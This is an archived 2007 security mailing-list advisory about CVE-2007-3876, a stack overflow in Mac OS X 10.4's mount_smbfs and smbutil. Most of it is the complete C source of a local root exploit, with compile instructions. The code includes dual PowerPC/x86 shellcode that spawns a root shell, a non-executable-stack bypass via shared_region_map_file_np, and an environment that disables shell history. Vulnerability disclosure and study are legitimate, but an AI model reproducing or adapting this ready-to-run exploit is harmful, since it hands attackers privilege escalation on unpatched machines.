

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-12/msg00057.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 20 Dec 2007 17:52:35 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

SUMMARY

A stack buffer overflow issue exists in the code used by the mount_smbfs and smbutil applications to parse command line arguments, which may allow a local user to cause arbitrary code execution with system privileges.

DETAILS

Vulnerable Systems:

- * Mac OS X version 10.4.11

Immune Systems:

- * Mac OS X version 10.5 or newer

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3876>>
CVE-2007-3876

Exploit:

/*

- * Copyright (C) 2007-2008 Subreption LLC. All rights reserved.

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

* Visit <http://blog.subreption.com> for exploit development notes.

*

* References:

* CVE-2007-3876

* <http://docs.info.apple.com/article.html?artnum=307179>

* <http://seclists.org/fulldisclosure/2007/Dec/0445.html>

*

<http://labs.iddefense.com/intelligence/vulnerabilities/display.php?id=633>

* <http://phrack.org/issues.html?issue=64&id=11#article>

* BID: <http://www.securityfocus.com/bid/26926>

*

*

* Notes:

* We bypass non-executable stack via `shared_region_map_file_np()`, as

* documented in a Phrack 64 article by nemo. This technique has been

* restricted in Leopard, but works perfectly in Tiger. Originally we

* developed a Ruby exploit but given the reliable nature of nemo's

* approach, we decided a C port would be the best option.

*

* Compile with: `gcc -Wall mount_smbfs_root.c -o mount_smbfs_root`

* Version: 1.0 (+tiger_x86)

*

* Distributed under the terms of the Subreption Open Source License v1.0

* <http://static.subreption.com/public/documents/subreption-sosl-1.0.txt>

*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <fcntl.h>
```

```
#include <sys/syscall.h>
```

```
#include <sys/types.h>
```

```
#include <mach/vm_prot.h>
```

```
#include <mach/i386/vm_types.h>
```

```
#include <mach/shared_memory_server.h>
```

```
#include <string.h>
```

```
#include <unistd.h>
```

```
#define BASE_ADDR 0x9fff000
```

```
#define PADDING_SIZE 1040
```

```
#define PAYLOAD_SIZE PADDING_SIZE + 24
```

```
/* From osfmk/mach/i386/vm_param.h */
```

```
#define I386_PGBYTES 4096
```

```
#define I386_PGSHIFT 12
```

```
#define PAGE_SIZE I386_PGBYTES
```

```
#define PAGE_SHIFT I386_PGSHIFT
```

```
struct _shared_region_mapping_np {
```

```
    mach_vm_address_t address;
```

```
    mach_vm_size_t size;
```

```
    mach_vm_offset_t file_offset;
```

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

```
vm_prot_t max_prot;
vm_prot_t init_prot;
};

struct x86_target {
char ebx[4];
char esi[4];
char edi[4];
char ebp[4];
char eip[4];
char saved_eip[4];
char extra_arg[4];
};

static int force_exploit = 0;

/* Dual PowerPC + IA32 shellcode by nemo and b-r00t.
 * seteuid(0) + setuid(0) + execve()
 */
static char dual_shellcode[] =
"\x5f\x90\xeb\x60\x38\x00\x00\xb7\x38\x60\x00\x00\x44\x00\x00\x02"
"\x38\x00\x00\x17\x38\x60\x00\x00\x44\x00\x00\x02\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70\x39\x40\x01\x70"
"\x39\x1f\xfe\xcf\x7c\xa8\x29\xae\x38\x7f\xfe\xc8\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02"
"\x7c\xa3\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd\x80\x31\xc0\x50"
"\xb0\x17\x6a\x7f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80";

/* Unless we are forcing the exploit, exit the process */
void cond_exit(int exitcode) {
if (!force_exploit)
exit(exitcode);
}

/* map_shellcode(void) – returns a return address as unsigned long
 * The returned address points to our shellcode, mapped from a temporary
file on disk.
 * Most of this code is based on nemo's original example in his Phrack 64
article.
 * If the mapping exists, it will fail and require -f flag to be used for
avoiding
 * the exit() calls.
 */
unsigned long map_shellcode(void) {
int fd = -1;
unsigned long shellcodeaddr = 0x0;
struct _shared_region_mapping_np shmreg;
char tmpbuf[PAGE_SIZE];
char *tmpfname;
```

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

```
void *scptr = NULL;

memset(tmpbuf, 0x90, sizeof(tmpbuf));
scptr = (tmpbuf + PAGE_SIZE - sizeof(dual_shellcode));

shmreg.address = BASE_ADDR;
shmreg.size = PAGE_SIZE;
shmreg.file_offset = 0;
shmreg.max_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;
shmreg.init_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;

tmpfname = "/tmp/iChat.sock";
if ((fd = open(tmpfname, O_RDWR|O_CREAT)) == -1) {
perror("open");
cond_exit(EXIT_FAILURE);
}

memcpy(scptr, dual_shellcode, sizeof(dual_shellcode));

if (write(fd, tmpbuf, PAGE_SIZE) != PAGE_SIZE) {
perror("write");
close(fd);
cond_exit(EXIT_FAILURE);
}

if (syscall(SYS_shared_region_map_file_np, fd, 1, &shmreg, NULL) ==
-1) {
perror("shared_region_map_file_np");

close(fd);
if (unlink(tmpfname) == -1)
perror("unlink");

cond_exit(EXIT_FAILURE);
}

if (close(fd) == -1)
perror("close");

if (unlink(tmpfname) == -1)
perror("unlink");

shellcodeaddr = (unsigned long)(shmreg.address + PAGE_SIZE -
sizeof(dual_shellcode));

fprintf(stdout, "Shellcode mapped: mapping starts at 0x%x, shellcode
at %x\n",
(unsigned)shmreg.address, (unsigned)shellcodeaddr);

return shellcodeaddr;
}
```

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

```
int main(int argc, char *argv[])
{
    struct x86_target payload_template;
    unsigned long retaddr = 0x0;
    char payload[PAYLOAD_SIZE];
    void *curptr = NULL;

    char *vuln_argv[] = {
        "mount_smbfs",
        "-W",
        "PLACEHOLDER",
        0
    };

    char *vuln_envp[] = {
        "HISTFILE=/dev/null",
        "TERM=xterm-color",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin",
        "HISTSIZ=1",
        0
    };

    fprintf(stdout, "Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root
    exploit\n"
    "Copyright (c) 2007-2008 Subreption LLC. All rights
    reserved.\n");

    if (argc > 1) {
        if (!strcmp(argv[1], "-f"))
            force_exploit = 1;
    }

    retaddr = map_shellcode();

    fprintf(stdout, "Payload size: %u (%u padding bytes), Return address:
    0x%x\n",
    (unsigned)sizeof(payload), PADDING_SIZE, (unsigned)retaddr);

    memset(&payload_template, 0, sizeof(payload_template));

    // Copy the correct addresses to the payload_template structure
    memcpy(payload_template.ebx, "\xfe\xca\xfe\xca", 4); // ebx =
    0xcafecafe
    memcpy(payload_template.esi, "\xdd\xce\xfa\xde", 4); // esi =
    0xdefacedd
    memcpy(payload_template.edi, "\xce\xfa\xed\xfe", 4); // edi =
    0xfeedface
    memcpy(payload_template.ebp, "\xef\xfe\xad\xde", 4); // ebp =
    0xdeadbeef
    memcpy(payload_template.eip, &retaddr, 4); // eip = retaddr
```

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

```
memcpy(payload_template.saved_eip, "\xd0\x02\x01\x90", 4); // saved
eip = exit()
memcpy(payload_template.extra_arg, "\xfd\xf8\xff\xbf", 4); // extra
arg = 0xbffff8fd

// Fill the payload with the initial padding
curptr = (void *)payload;
memset(curptr, 0x41, PADDING_SIZE);

// Copy the payload_template structure to our payload buffer
curptr = payload + PADDING_SIZE;
memcpy(curptr, &payload_template, sizeof(payload_template));

// Set the value to the -W option to point at our payload
vuln_argv[2] = (char *)payload;

if (execve("/sbin/mount_smbfs", vuln_argv, vuln_envp) == -1) {
perror("execve");
exit(EXIT_FAILURE);
}

return 0;
}

// milw0rm.com [2007-12-19]
```

ADDITIONAL INFORMATION

The information has been provided by Subreption.

The original article can be found at:

http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/
http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

[EXPL] Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.